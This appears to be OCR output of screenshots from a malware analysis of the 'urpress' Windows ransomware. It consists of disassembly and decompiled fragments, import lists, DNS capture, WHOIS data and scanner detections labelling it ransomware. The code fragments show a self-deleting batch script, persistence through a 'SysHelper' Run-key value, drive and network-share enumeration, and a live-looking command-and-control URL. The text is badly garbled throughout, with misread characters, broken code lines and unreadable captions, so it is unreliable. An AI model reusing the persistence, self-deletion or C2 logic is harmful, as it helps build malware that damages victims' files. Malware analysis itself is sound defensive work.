aCProgramFilesX 1[31] = L"C:\\Program Files (x86)\\Google\\"; // weak
aCProgramFilesM[34] = L"C:\\Program Files\\Mozilla Firefox\\"; // weak
aCProgramFilesI[36] = L"C:\\Program Files\\Internet Explorer\\"; // weak
aCProgramFilesG[25] = L"C:\\Program Files\\Google\\"; // weak

aDWindows[12] = L"D:\\Windows\\"; // weak

aDProgramFilesX[40] = L"D:\\Program Files (x86)\\Mozilla Firefox\\"; // weak
aDProgramFilesX_@[42] = L"D:\\Program Files (x86)\\Internet Explorer\\"; // weak
aDProgramFilesX_1[31] = L"D:\\Program Files (x86)\\Google\\"; // weak
aDProgramFilesM[34] = L"D:\\Program Files\\Mozilla Firefox\\"; // weak
aDProgramFilesI[36] = L"D:\\Program Files\\Internet Explorer\\"; // weak
aDProgramFilesG[25] = L"D:\\Program Files\\Google\\"; // weak

asc_411228[3] = L"\\\\"; // weak

asc_41123e[2] = L"\\"; // weak

Pl e DI RIEL Ol 5 J S s 4 b e ausls 4 by e 5 US ankd

urpress.c
1083 wchar_t
lee4 wchar_t
1005 wchar_t
1886  wchar_t
1087 wchar_t
1608 wchar_t
1009 wchar_t
1e1@  wchar_t
1811 wchar_t
le12 wchar_t
1013 wchar_t
1014  wchar_t
1015 wchar_t
1016 wchar_t
1017 wchar_t
1018  wchar_t
urpress.c

969

970

971

972

973

974

975

976

977

978

979

980

|

CHAR Name[] = "TEMP"; // idb

CHAR asc_4@E3CO[] = "\\"; // idb

CHAR aDelselfBat[] = "delself.bat"; // idb

CHAR aEchoOffTryDel[] = “"@echo off\r\n:try\r\ndel \""; // idb
CHAR aIfexist[] = "\"\r\nif exist \""; // idb

CHAR aGotoTry[] = "\" goto try\r\n"; // idb

CHAR aDel[] = "del \""; // idb

CHAR asc_4@E410[] = "\""; // idb

CHAR asc_4@E414[] = "\""; // idb

CHAR asc_40E418[] = "\""; // idb
LPCSTR lpString = "http://xxxart.pp.ua/finishZ/get.php";
void *off_40E478 = &unk_4@EBD8; // weak
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DA Wiew A B =] Hex Wiew-1 B Structures
loc_40482A: ; nSize
push 104h
lea edx, [ebp+Filename]
push edx ; lpFilename
push (%] ; hModule
call ds:GetModuleFileMNameA
push 104h ;3 cchBuffer
lea eax, [ebp+Filename]
push eax ; lpszShortPath
lea ecx, [ebp+Filename]
push ecx 3 lpszlLongPath
call ds :GetShortPathMNameA
push 104h ; nSize
lea edx, [ebp+Buffer]
push edx 3 lpBuffer
push offset MName ; "TEMP™
call ds:GetEnvironmentVariableA
xor ecx, ecx
cmp ecx, eax
sbb edx, edx
lea eax, [ebp+Buffer]
and edx, eax
mons [ebp+1lpString2], edx
mow ecx, [ebp+lpString2]
push ecx ; lpString2
lea edx, [ebp+Stringl]
push edx ;3 lpStringl
call ds:lstrcpyA
push offset asc_40QE3CO ; "“\"
lea eax, [ebp+Stringl]
push eax ;3 lpStringl
call ds:1lstrcatA
push offset aDelselfBat "delself.bat"™
lea ecx, [ebp+Stringl]
push ecx ;3 lpStringl
call ds:1lstrcatA
push offset aBEchoOffTryDel ; "@echo off\r\n:tryi\rindel \""
lea edx, [ebp+5tr]
push edx ;3 lpStringl
call ds:1lstrcpyvA
push eax ;3 1lpString2
lea ecx, [ebp+str]
push ecx ;3 1lpStringl
call ds:1strcatA
push offset aIfExist ; "\ "“r\nif exist \""
lea edx, [ebp+Str]
push edx ; 1lpStringl
call ds:lstrcatA
lea eax, [ebp+Filename]
push eax ; 1lpString2
lea ecx, [ebp+Str]
push ecx 3 1lpStringl
call ds:1strcatA
push offset aGotoTry ; "\" goto tryi\rin”
lea edx, [ebp+Str]
push edx ; 1lpStringl
call ds:l1strcatA
push offset aDel 3 "del AT
lea eax, [ebp+Str]
push eax ; 1pStringl
call ds:1strcatA
lea ecx, [ebp+Stringl]
push ecx ; 1pString2
lea edx, [ebp+Str]
push edx ; 1lpStringl
call ds:1strcatA
push offset asc_40E410 ; "\ "7
lea eax, [ebp+str]
push eax ;3 1pStringl
call ds:1strcatA
lea ecx, [ebp+Stringl]
push ecx 3 pszPath
call ds:PathFileExistsA
test eax, eax
j=z short loc A0A96E

P

lea edx, [ebp+Stringl]

push edx
call ds:DeleteFileA

; lpFileMame

Ve

2loy
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DA View-A

B

@

A

Hex View-1 [x]

Structures %]

: A;Sde eslazul

Enums B Imports (] Exports (x]

FZE]

lea
call
push
call
mov
mov
mov
cmp
jb

ecx, [ebp+var_36]

ds:?c_str@2$basic_string@DU?$char_traits@D@std@@V?$allocator@@2@@std@@OBEPBDXZ ;
5 lpRootPathName

eax
ds:GetDriveTypeA
[ebptvar_34], eax
edx, [ebp+var_34]
[ebptvar_58], edx
[ebp+var_58], 2

short loc_403420

std: :basic_string<char,std: :char_traits<char>,std::allocator<char>>::c_str(void)

W=

cmp
jbe

[ebp+var_50], 4
short loc_4@33D5

il =
cmp
jz

[ebp+var_50], 6
short loc_4833D5

S e sla 3

&b ol Sl eslaal b oSt il GetLogicalDrives() &b« Lye 3 dS ankd

DA View-A x| = Hex View-1 x|
var_C= dword ptr -0Ch
var_ 4= dword ptr -4
arg 0= dword ptr 8
; FUNCTION CHUNK AT 0049A21© SIJE 00000014 BYTES
5 —unwind { // SEH_4832E3
push ebp
mow ebp, esp
push BFFFFFFFFh
push offset SEH_4832E3
mow eax, large fs:@
push eax
mowv large fs:0, esp
sub esp, 56h
push ebx
call ds:GetlLogicalDrives
mow [ebp+var_ 147, eax
mow [ebp+var_18], @
Jjmp short loc_48331A

]

loc_48331A:

cmp [ebp+var_1@], 1Ah
jge loc_A40344A
§ 1
[l s 5= [l s 5=
mowv edx, [ebp+var_14]
mowv ecx, [ebp+var_10]| [loc_40344A4:
shr edx, cl mowv ecx, [ebp+var_ (]
and edx, 1 mowv large fs:0, ecx
monw [ebp+var_18], edx| |pop ebx
cmp [ebp+var_18], © monw esp, ebp
jz loc_ 483445 pop ebp
retn
; F // starts at 4032E3
sub_4832E3 endp




=le Ublg glis g eulbliyl eyljg

2loy

¢

whplele Ublg 5 gUs ¢ lojLu

S o oslizal OF 51 GUE ates b

IDA View-A a @ Hex View-1 B Structures
; FUNCTION CHUNK AT @@40A22E SIZE 00000009 BYTES
5 _unwind { // SEH_4@3459
push ebp
mov ebp, esp
push @FFFFFFFFh
push offset SEH 403459
mov eax, large fs:0
push eax
mov large fs5:8, esp
sub esp, 6Ch
mov [ebp+dwBytes], 4080h
mov [ebp+cCount], @FFFFFFFFh
1ea eax, [ebp+hEnum]
push eax 3 1phEnum
mov ecx, [ebp+lpNetResource]
push ecx ; lphNetResource
push e 5 dwlsage
push e 5 dwType
push 2 5 dwScope
call WhNetOpenEnumhi
mov [ebp+var_1C], eax
cmp [ebp+var_1C], @
jz short loc_4834A5

1

]
loc_4B834A5:
mowv edx, [ebp+dwBytes]
push edx ; dwBytes
push 48h ; uFlags
call ds:GlobalAlloc
mowv [ebp+Dst], eax

¥y
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DA View-A [ ] =1} Hex View-1 [x] Structures (=] = Enums (=] Imports
H try {
mov [ebp+var_4], ©
push oFeeeeoeeh ; dwFlags
push 1 ; dwProvType
push e ; szProwvider
push ) ; szContainer
lea eax, [ebp+phProv]
push eax ; phProwv
call ds:CryptAcquireContexti
test eax, eax
jnz short loc_4836EB
T 1
L 2 ¥
Ll e = il =1 =1
mow [ebp+var_34], ©
push offset _ TI1H ;3 throw info for "int" loc_A@36EB:
lea ecx, [ebp+wvar 34] lea edx, [ebp+phHash]
push ecx push edx ; phHash
call _CxxThrowException push °
push e
push s003h 5 Algid
mow eax, [ebp+phProv]
push eax 5 hProwv
call ds:CryptCreateHash
test eax, eax
jnz short loc_48371B
|
h J L ]
ST [P
mowv [ebp+var_28], ©
push offset _ TI1H throw info for 'int’ loc_48371B: ; dwFlags
lea ecx, [ebp+var_38] push =}
push ecx mow edx, [ebp+lpString]
call _CxxThrowException push edx ;3 1pString
call ds:1lstrleni
push eax : dwDatalen
mow eax, [ebp+lpstring]
push eax ; pbData
mow ecx, [ebp+phHash]
push ecx 5 hHash
call ds:CryptHashData

3134
313s
3136
3137
3138
3139
3140
3141
3142
3143
3144
3145
3146
3147
3148
3149
3150
3151
3152
3153
3154
3155
3156
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LiL .+ Code page 4 by, 5 (gladsS aslad

std::basic_stringcunsigned short,std::char_traits<uns
std::basic_stringcunsigned short,std: :char_traits<uns
std: :basic_string<char,std: :char_traits<char>,std: :al

: using guessed type int _thiscall
// 4@B18C: using guessed type int _thiscall
// 49B1A8: using guessed type int _thiscall

1l -~ (00404B806) --- --- --- - -—-- --- -
void *__cdecl sub_404B@6(LPCSTR lpString, int a2)
B {
unsigned int Size; // ST20 4
void *Dst; // STiC_a
UINT CodePage; // [esp+®h] [ebp-Ch]
CodePage = ©;
if ( (_BYTE)a2 )
CodePage = 65001;
Size = 2 * lstrlenA(lpString) + 2;
Dst = malloc(Size);
memset(Dst, @, Size);
MultiByteTowideChar(CodePage, ©, 1lpString, -1, (LPWSTR)Dst, Size >> 1);
return Dst;
= ¥
VAt (e0404883) --- --- --- - -—- -—- -- --
int _ cdecl sub_4@4B83(int al, char a2, int a3, int a4, int asS, char a6)
B {
int v6; // STia_a
CHAR *v7; // STie_a4
const WCHAR *v8; // eax
int vo; // STis_a
int vie; // eax
int vi11; // STic_a
char v13; // [esp+ah] [ebp-30h]
char v14; // [esp+8h] [ebp-2Ch]
char vi1S; // [esp+Ch] [ebp-28h]
UINT CodePage; // [esp+1@h] [ebp-24h]
int cbMultiByte; // [esp+13h] [ebp-20h]
int v18[4]; // [esp+1i8h] [ebp-1Ch]
int v19; // [esp+3@eh] [ebp-4h]
vio = 1;
CodePage = ©;
if ( a6 )
CodePage = 65001;
cbMultiByte = std::basic_string<unsigned short,std har_traits<unsigned short>,std::allocator<unsigned short> ength(&a2)
+ 1@24;
via = o;
sub_405280(v18, cbMultiByte, (int)&via, &v1S);
LOBYTE(v19) = 2;
v6 = cbMultiByte;
v6 = cbMultiByte; A
v7 = (CHAR *)sub_405340(v18, @);
V8 = (const WCHAR *)std::basic_string<unsigned short,std::char_traits<unsigned short>,std::allocator<unsigned short>>::c_str(8a2);
wideCharToMultiByte(CodePage, @, v8, -1, v7, v6, 0, @);
v = unknown_libname_2(v18, &v13);
V1@ = unknown_libname_1(v18);
std::basic_string<char,std: :char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std: :allocator<char>>(
al,
vie,
v,
vil);
LOBYTE(v19) = 1;
sub_4052£0(v18);
LOBYTE(v19) = ©;
std::basic_string<unsigned short,std::char_traits<unsigned short>,std::allocator<unsigned short>>::~basic_string<unsigned short,std::char_traits<unsigned short>,std::allocator<unsign:
return al;
: using guessed type int _ thiscall unknown_libname_2(_DWORD, _DWORD);

igned short>,std: :allocator<unsigned short>>::c_str(_DWORD);
igned short>,std: :allocator<unsigned short>>::~basic_string<unsigned short,std::char_t
locator<char>>: :basic_string<char,std: :char_traits<char>,std: :allocator<char>>(_DWORD, _
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IDA Viev:-A B @ Hex View-1 g @ Structures e 5 Enums a Imports [ | Exports a
.idata: H
_idata:00408000 ; [Imports from ADVAPI32.d11|
. idata: 00408 ;

.idata:00408B B
.idata: 00408000
.idata:00408000 ;
.idata: 00408000 ;
.idata:0040B000 ;
. idata: 00408000
.idata: 00408000
. idata:00408000
.idata:0040B004 ;
. idata:0040B004
.idata: 00408004
. idata:0040B004
.idata: 00408008 ;
.idata:0040B008
. idata: 00408008
.idata: 00408008
. idata:@040800C ;
. idata:0040B00C
. idata:0040B00C

Segment type: Externs
_idata

extrn OpenServicel:dword
; CODE XREF: sub_4@3E8@+30tp
5 DATA XREF: sub_403E80+301r
LSTATUS __stdcall RegDeleteValuelW(HKEY hKey, LPCWSTR lpValueName)
extrn RegDeleteValuel:dword
; CODE XREF: sub_4043@4+421p
5 DATA XREF: sub_4e43e4+421r

extrn RegOpenKeyExl:dword
; CODE XREF: sub_463FB4+511p
5 sub_403FB4+23Atp ...

extrn RegQueryValueExl:dword

; CODE XREF: sub_403FBA+BCTp
. idata:0040B00C ; sub_404567+A91p
. idata:0040B00C 5 DATA XREF:
.idata:0040B010 ; LSTATUS _ stdcall RegCloseKey(HKEY hKey)
_idata:0040B010 extrn RegCloseKey:dword ; CODE XREF: sub_4@3FBA+CStp
. idata: 00408010 5 sub_403FBA+31F1p ...
.idata: 00408014
.idata: 00408014
.idata: 00408014
.idata:00408014

extrn RegSetValueExl:dword
; CODE XREF: sub_403FB4+3127p
5 DATA XREF: sub_403FB4+312tr

.idata:00408018
.idata: 00408018
.idata:00408018
.idata:@040801C ;
. idata:0040B01C
. idata:80408B01C
. idata:0040B01C

extrn OpenSCManagerl: dword
; CODE XREF: sub_403E80+121p
5 DATA XREF: sub_403E80+121r
BOOL _ stdcall CryptDestroyHash(HCRYPTHASH hHash)
extrn CryptDestroyHash:dword
; CODE XREF: sub_4@367F+1F31p
; sub_40367F+2291p

MPR.dII RPCRTE.dII
WNetEnumResourceW = UuidCreate

WININET.dII

InternetReadFile

WNetCloseEnum UuidToStringW  InternetOpenW
WNetOpenEnumW RpcStringFreeW | InternetCloseHandle
InternetOpenUrIW

WINMM.dII

timeGetTime

ADVAPIYY.dII

CryptAcquireContextW = BeginPaint PathFindFileNameW
CloseServiceHandle MessageBoxW PathFileExistsW
RegDeleteValueW PeekMessageW PathRemoveFileSpecW
CryptReleaseContext SendMessageW PathAppendW
RegCloseKey UpdateWindow PathFindExtensionW
RegSetValueExW PostThreadMessageW | PathFileExistsA
QueryServiceStatus RegisterClassExW
CryptGetHashParam GetMessageW
OpenSCManagerW EndPaint
RegOpenKeyExW TranslateMessage
OpenServiceW DefWindowProcW
ControlService IsWindow
CryptHashData LoadCursorW
RegQueryValueExW CreateWindowExW
CryptDestroyHash PostQuitMessage
CryptCreateHash ShowWindow

DispatchMessageW

KERNELY'Y.dlI

| USERYY.dll

DestroyWindow

KERNELY'Y.dII

SHLWAPI.AII

MSVCRT.dII

SC_HANDLE _ stdcall OpenServiceW(SC_HANDLE hSCManager, LPCWSTR lpServiceName, DWORD dwDesiredAccess)

LSTATUS _ stdcall RegOpenKeyExW(HKEY hKey, LPCWSTR lpSubKey, DWORD ulOptions, REGSAM samDesired, PHKEY phkResult)

LSTATUS _ stdcall RegQueryValueExW(HKEY hKey, LPCWSTR lpValueName, LPDWORD lpReserved, LPDWORD lpType, LPBYTE lpData, LPDWORD lpcbData)

3 LSTATUS _ stdcall RegSetValueExW(HKEY hKey, LPCWSTR lpValueName, DWORD Reserved, DWORD dwType, const BYTE *lpData, DWORD cbData)

.idata:00408018 ; SC_HANDLE __stdcall OpenSCManagerW(LPCWSTR lpMachineName, LPCWSTR lpDatabaseName, DWORD dwDesiredAccess)

SHELLY'Y.dlI
ShellExecuteEx
w
CommandLine
ToArgvW

| KERNELYY.dIl

CreateToolhelpY YSnaps
hot

IstrlenA

LoadLibraryW
GlobalFree
WaitForSingleObject
GetDriveTypeA
FlushFileBuffers
GetModuleFileNameA
GetCommandLineW
IstrlenW
GetShortPathNameA
ProcessY YNextW
CreateProcessW
GetCurrentProcess
GetFileSize

IstrcatA
GetModuleHandleW

MSVCRT.dII

CreateThread GetlLastError __wgetmainargs iswspace
SetErrorMode CopyFileW malloc _initterm
MultiByteToWideChar IstrcpynW ??+exception@@QAE@ABV:@@Z _controlfp
GetStartupinfoW ReadFile __p__fmode _wcmdiIn

YA
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GetlogicalDrives OpenProcess ??Vtype_info@ @UAE@XZ __set_app_type
CreateDirectoryW IstrcpyA memset ?Y@YAPAXI@Z
DeleteFileW CreateFileW __dllonexit memcpy
IstrcatW GlobalAlloc _wcsicmp wcscmp
ProcessY YFirstW VirtualFree _onexit exit
GetComputerNameW Sleep strlen sprintf
CreateMutexA MoveFileW _except_handlerY _itow

IstrcpyW CreateFileA __setusermatherr free
WideCharToMultiByte GetVersion srand atoi
GetModuleFileNameW VirtualAlloc __p__commode _wtol
SetFilePointer LocalAlloc _XcptFilter strstr
FindNextFileW SetlLastError __CxxFrameHandler _exit
GetCurrentProcessld DeleteFileA _CxxThrowException

GetExitCodeProcess WriteFile tolower

LocalFree CloseHandle ??)exception@@UAE@XZ

FormatMessageW FindFirstFileW _adjust_fdiv

TerminateProcess IstrcmpW ?Y@YAXPAX@Z

CreateProcessA GetProcAddress | ??:exception@@QAE@XZ

GetEnvironmentVariableA @ CreateEventW

MSVCP -« dll

?replace@?Sbasic_string@GU?Schar_traits@G@std@ @V?Sallocator@G@ Y @ @std@ @QAEAAV ) Y@IIABV Y@ @Z
?length@?Sbasic_string@DU?Schar_traits@D@std@ @V?Sallocator@D@ Y @ @std @ @QBEIXZ
?length@?Sbasic_string@GU?Schar_traits@G@std@ @V?Sallocator@G@ Y @ @std @ @QBEIXZ
?rfind@?Sbasic_string@GU?Schar_traits@G@std@ @V?Sallocator@G@Y @ @std @ @QBEIGI@Z
?begin@?Sbasic_string@GU?Schar_traits@G@std@ @V?Sallocator@G@ Y @ @std@ @QAEPAGXZ

??+ ?Sbasic_string@DU?Schar_traits@D@std@ @V?Sallocator@D@ Y @ @std@ @ QAE@PBDABV?Sallocator@D@ ' @ @Z
??Hstd@@YA?AV?Sbasic_string@GU?Schar_traits@G@std@ @V?Sallocator@G@Y@@ * @GABV) : @ @Z

??+ ?Sbasic_string@GU?Schar_traits@G@std@ @V?Sallocator@G@Y @ @std@ @QAE@ABV: ) @ @2
?c_str@?Sbhasic_string@DU?Schar_traits@D@std@ @V?Sallocator@D@ ¥ @ @std @ @ QBEPBDXZ

??+ ?Sbasic_string@GU?Schar_traits@G@std@ @V?Sallocator@G@ Y@ @std @ @ QAE@PBGABV?Sallocator@G@ ' @ @2
??+?Sbasic_string@GU?Schar_traits@G@std@ @V?Sallocator@G@ Y@ @std @ @ QAE@ABV?Sallocator@G@ ' @ @Z
??A?Sbasic_string@DU?Schar_traits@D@std@ @V?Sallocator@D@ Y @ @std @ @QAEAADI@Z

??+ ?Sbasic_string@DU?Schar_traits@D@std@ @V?Sallocator@D@ Y @ @std@ @ QAE@ABV?Sallocator@D@ ) @ @2
?find@?Sbasic_string@GU?Schar_traits@G@std@ @V?Sallocator@G@Y @ @std@ @QBEIABV) Y@1@Z
??A?Sbasic_string@GU?Schar_traits@G@std@ @V?Sallocator@G@ Y @ @std@ @ QAEAAGI@Z
?npos@?Sbhasic_string@DU?Schar_traits@D@std@ @V?Sallocator@D@Y @ @std@@ Y IB
??Y?Sbasic_string@GU?Schar_traits@G@std@ @V?Sallocator@G@ Y@ @std@ @QAEAAV + \ @PBG@Z
??¢?Sbasic_string@GU?Schar_traits@G@std@ @V?Sallocator@G@ Y@ @std @ @QAEAAV* Y @PBG@Z
?substr@?Sbasic_string@GU?Schar_traits@G@std@ @V?Sallocator@G@ Y @ @std@ @QBE?AV) Y @II@Z
??Hstd@@YA?AV?Sbasic_string@GU?Schar_traits@G@std@ @V?Sallocator@G@ Y@@ * @ABV) * @PBG@Z
?c_str@?Sbhasic_string@GU?Schar_traits@G@std@ @V?Sallocator@G@ Y @ @std @ @QBEPBGXZ
??¢?Sbasic_string@DU?Schar_traits@D@std@ @V?Sallocator@D@Y @ @std@ @QAEAAV* Y @PBD@Z
?npos@?Sbhasic_string@GU?Schar_traits@G@std@ @V?Sallocator@G@Y @ @std@@Y1B
??)?Sbasic_string@DU?Schar_traits@D@std@ @V?Sallocator@D@ Y @ @std @ @ QAE@XZ

?? ?Sbasic_string@DU?Schar_traits@D@std@ @V?Sallocator@D@ Y @ @std@ @QAE@PBD * ABV?Sallocator@D@ ) @ @Z
??+?Sbasic_string@DU?Schar_traits@D@std@ @V?Sallocator@D@ Y @ @std@ @QAE@ABV* '@ @2

??Astd@ @YA_NABV?Sbasic_string@GU?Schar_traits@G@std@ @V?Sallocator@G@Y@@ ' @ * @Z
??¢?Sbasic_string@GU?Schar_traits@G@std@ @V?Sallocator@G@Y @ @std@ @QAEAAV: Y @ABV* ' @ @Z
??Y?Sbasic_string@DU?Schar_traits@D@std@ @V?Sallocator@D@ Y @ @std @ @QAEAAV ) @PBD@Z

??+ ?Sbasic_string@GU?Schar_traits@G@std@ @V?Sallocator@G@ Y @ @std@ @QAE@PBG ' ABV?Sallocator@G@ ) @ @Z
?end@?Sbasic_string@GU?Schar_traits@G@std@ @V?Sallocator@G@ Y @ @std @ @ QAEPAGXZ
?Pempty@?Sbasic_string@GU?Schar_traits@G@std@ @V?Sallocator@G@ Y @ @std@ @QBE_NXZ
??)?Sbasic_string@GU?Schar_traits@G@std@ @V?Sallocator@G@ Y @ @std@ @QAE@XZ

14
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937 int _TI1H = @; // weak
938 int _TI2PAG = @; // weak
939 int _TI1_AVexception__ = @; // weak
94e CHAR ProcName[] = “SHGetFolderPathw"; // idb
941 char asc_4@E@SC[2] = "\\"; // weak
942 char asc_a8E@68[2] = "/"; // weak
943 char asc_4@Ees4[2] = "\\"; // weak
944 char asc_4@Ee68[2] = “/"; // weak
945 char asc_48E@6C[2] = "*"; // weak
946 wchar_t Str2[] = L™."; // idb
247 wchar_t asc_48Ee74[] = L".."; // idb
948 wchar_t asc_4@E@7C[2] = L"\\"; // weak
949 wchar_t asc_48E@88[2] = L™ ; // weak
ase char asc_48E@84[3] = ":\\"; // weak
951 char Format[] = "%.2X"; // idb
952 wchar_t aCreatefile[11] = L"CreateFile™; // weak
953 wchar_t aMovefile[9] = L"MoveFile"; // weak
954 wchar_t avirtualalloc[13] = L"virtualAlloc™; // weak
955 wchar_t aReadfile[9] = L"ReadFile™; // weak
956 wchar_t aWritefile[1@] = L"WriteFile"; // weak
as7 wchar_t aMovefile_@[2] = L"MoveFile™; // weak
958 wchar_t aSoftwareMicros[46] = L"Software\\Microsoft\\Windows\\CurrentVersion\\Run"; // weak
959 CHAR aShgetfolderpat_@[] = “SHGetFolderPathW"; // idb
96@ wchar_t aSoftwareMicros_@[46] = L"Software\\Microsoft\\Windows\\CurrentVersion\\Run"; // weak
961 CHAR aEnumprocesses[] = "EnumProcesses™; // idb
962 CHAR aEnumprocessmod[] = "EnumProcessModules™; // idb
963 CHAR aGetmodulebasen[] = “GetModuleBaseNameW™; // idb
264 CHAR aEnumprocesses_@[] = "EnumProcesses™; // idb
965 CHAR aEnumprocessmod_@[] = “"EnumProcessModules™; // idb
966 CHAR aGetmodulebasen_@[] = "GetModuleBaseNameW™; // idb
967 wchar_t aSoftwareMicros_1[46] = L"Software\\Microsoft\\Windows\\CurrentVersion\\Run"; // weak
968 wchar_t aCmdExe[] = L"cmd.exe™; // idb
. 7 . . w
Pl o ) LIS 1 s F o by e 3 saaS askd
urpress.c
2839 vl = alloca(8284); -
2840 1pSubKey = aSoftwareMicros;
2841 phkResult = @;
2842 result = RegOpenKeyExi(HKEY_CURRENT_USER, aSoftwareMicros, @, @xFe@3fu, &phkResult);
2843 v8 = result;
2844 if ( lresult )
2845
2846 Type = 1;
2847 *(_WORD *)Data = 0;
2848 memset (811, @, BX7FCu);
2849 vi2 = 8;
2850 cbData = 1024;
2851 RegQueryValueExi(phkResult, L"SysHelper”, @, &Type, Data, &cbData);
2852 RegCloseKey (phkResult);
2853 if ( lstrlenW((LPCWSTR)Data) > @ && PathFileExistsW((LPCWSTR)Data) )
2854
2855 result = sub_404739(0, @);
2856 -
2857 else I
8580 { |
2859 hModule = LoadLibraryW(L"Shell32.d11");
2860 vl4 = GetProcAddress(hModule, ashgetfolderpat_@);
2861 pNumArgs = @8;
2862 1pCmdLine = GetCommandLineW();
2863 v25 = (LPCWSTR *)CommandLineToArgvil(lpCmdLine, &pNumArgs);
2864 1strepyW(&Stringl, *v25);
2865 pHore = PathFindFileNameW(&5tringl);
2866 ((void (_stdcall *)(_DWORD, signed int, _DWORD, _DWORD, WCHAR *))v14)(8, 28, @, @, &pszPath);
2867 UuidCreate(8Uuid);
2868 StringUuid = @;
2869 UuidToStringW(8Uuid, &StringUuid);
2870 std::basic_string<unsigned short,std::char_traits<unsigned short>,std::allocator<unsigned short>>::basic_string<unsigned short,std::char_traits<unsigned short>,std::allecator<uns
2871 8v24,
2872 StringUuid,
2873 &v5);
2874 v3e = 8;
2875 RpcStringFreell(&StringUuid);
2876 v3 = (const WCHAR *)std::basic_string<unsigned short,std::char_traits<unsigned short>,std::allocator<unsigned short>>::c_str(&v24);
2877 PathAppendu(&pszPath, v3);
2878 CreateDirectoryW(&pszPath, @);
2879 PathAppendil(&pszPath, phore);
2880 DeleteFileW(&pszPath);
2881 CopyFileW(8Stringl, &pszPath, @);
2882 hKey = ; il

2loy
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2883 v27 = RegOpenKeyExi(HKEY_CURRENT USER, lpSubKey, 8, @xF803Fu, &hKey);
2884 if (27 )
2885 B {
2886 String = @;
2887 memset(8v18, 0, @x7FCu);
2888 vi9 = @;
2889 1strcpyW(&String, "\"");
2890 1strcatW(8String, &pszPath);
2891 1strcath(8String, L"\" --AutoStart “);
2892 Istrcati(8String, (LPCWSTR)(al + 36006));
2893 1strcatil(8String, L" ");
2894 1strcati(8String, (LPCWSTR)(al + 66006));
2895 v4 = lstrlen(8String);
2896 v27 = RegSetValuetxi(hKey, L"SysHelper™, @, 2u, (const BYTE *)&tring, 2 * v4);
2897 RegCloseKey(hKey);
2898 sub_484739(0, ©);
2899
2900 vie = -1;
2901
2902 }
2903
2904 return result;
2905 - }
2006  // 40B184: using guessed type int _ thiscall std::basic_stringcunsigned short,s
2907 / 49B18C: using guessed type int _thiscall st ring<unsigned short,st
2908  // 48B1C8: using guessed type int _thiscall std::basic_stringcunsigned short,std::
2909  // 4PE150: using guessed type wchar_t aSoftwareMicros[46];
2910
2911 //--=-- (B@A4BA3GA) -~ ===
2912 LSTATUS sub_484304()
2913
2914 LSTATUS result; // eax
2015 HKEY phkResult; // [esp+4h] [ebp-8h]
2916 LSTATUS v2; // [esp+8h] [ebp-2h]
2917
2918 phkResult = 0;
2919 result = RegOpenkeyExW(HKEY_CURRENT_USER, aSoftwareMicros_e, @, @xFee@3Fu, &phkResult);
2920 v2 = result;
2921 if ( lresult )
2922
2923 RegDeleteValueW(phkResult, L"SysHelper™);
2924 result = RegCloseKey(phkResult);
2925
2926 return result;
2027 Lo

result = std::basic_string<unsigned short,std::char_traits<unsigned short>,std::allocator<unsigned short>>::~basic_string<unsigned short,std::char_traits<unsigned short>,std::alls

short>, std: :allocator<unsigned short>>::c_str(_DWORD);
short>, std: :allocator<unsigned short>>::~basic_stringcunsigned short,std: :char_t
short>, std: :allocator<unsigned short>>::basic_string<unsigned short,std::char_tr.
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I¥ ApateDNS —— 3 : -:'—1- ==

Capture Window ‘ DNS Hex View |

Time Domain Requested DNS Retumed
18:43:46 teredo ipv6 microsoft.com FOUND
18:43:46 dns msftncsi.com FOUND
18:43:47 www msftncsi.com FOUND
18:43.47 dns msftncsi.com FOUND
A0 == O O i asssem——————————————smenme | | 12 PO
18:43:49 www msftncsi.com FOUND
18:43:50 ipv6.msftncsi.com FOUND
18:43:50 ipv6 msftncsi.com FOUND

[+] using 8.8.8.8 as return DNS IP!

[+] DNS set to 127.e.0.1 on Intel(R) PRO/1@@@ MT Network Connection.
[+] Sending valid DNS response of first request.

[+] Server started at 18:43:15 successfully.

R IP : /DNS):
DNS Reply IP (Default: Curent Gatway/DNS): 8888 Shout Conen

# of NXDOMAIN's: 0
Selectad Wisiace: (Intel(R) PRO/1000 MT Network Connection v Shop. Server

= = = — D]
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IP/Domain name tracking information

193.200.255.27

Track network visitors IPs with Mobile Tracker
193.200.255.027
3251175195

agalevych.com

Physical person-businessman Rostilo Sergey Alexand

Physical person-businessman Rostilo Sergey Alexand

[ ukraine
UA

30.5233
50.45

new WHOIS data is currently unavailable for all requests [GL3002-3000]. Try again
in 8 hours, 25 min.

x-host.net.ua

s27.x-host.net.ua
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Detection Details

SHA-256

#" File name
A

File size

Last analysis

Relations W Behavior Community °
Ve

A
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53 engines detected this file

35687c4b304a1ddda618d3283bf23400b0ce50a05407156d55d3632272b0cc3 1

urpresshin
72 KB
2018-11-24 23:30:52 UTC

Community score -183

GenHew RansomRTH |
Trojan/Win32SavelilesC2701916

Trojan,/ Win32Scar

Win32:Tro,

HEUR/AGEN.1035491

W32.BrackeB.Trojan

Win.Trojan.Agent-6684475-0

malicicus confidence 1009 (W)

Unsafe

Trojan.Encader.26314

malicious (high confidence)

a variant of Win32/Filecoder.GA

W32/Filecoder.GAltLransom

Trojan.Win32 Krypt

Trojan { 0053c24c1 )

Ransom.Chaicha

GenericRXGL-AQIGCOD01FOD13A

Ransom:Win32/Chaicha
genericoml

Win32/Trojan. 743
TroySaveFile-A

Teojan.Gen.2
malicious.moderatemlscore
Ransom Chaicha.RO39C00IATE
Trojan\Win32.5.Ransom. 73728

Trojan.ScarizAdw 4L RN

Trojan.Win32.5carrnwy

sz”sggsgegsggéssgsg

t

T

A Trejan.Win32.5¢

epbPPPPPPPPPPPPPPPDPEEDD

3
Trojan.Ransom.Filecoder
Trojan.RansomRTH.1
Win32:Trojan-gen
GenHeur.Ransom.RTH.1
Trogan.MauvaiseSL1
Mahwareg#220xadatiuvtdu
malicious.78b1bs

W32/ Trojan OHLL-220
GenHeur.Ransom.RTH. 1 (B}
GenHeur.Ransom.RTH.1
GencHeur.Ransom.RTH. 1
GenHeur.Ransom.RTH. 1

Trojan ( 0053c24¢1)
TrojanWin32.5canrmry
malware (3l score=100)
BehavesLikeWin32.PWSZbot.lm
Trejan. Win32.GenKryptik fiyjurh
TrifGdSda.A

Ransem.Chaichalt B411 (CLASSIC)
heuristic
Win32.Trojan.ScarWofw
Ransom Chaicha.RO3SCODIATE
BScope TrojanFuerboos
W32.Trojan.Gen

Trojan.Generic. Win32.79126
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urpress.bin.6c0001f0d13afb949458b8e320092d09 15 pl

catliald WE o ls pos

Last ot Lab V1 I E PO P P L

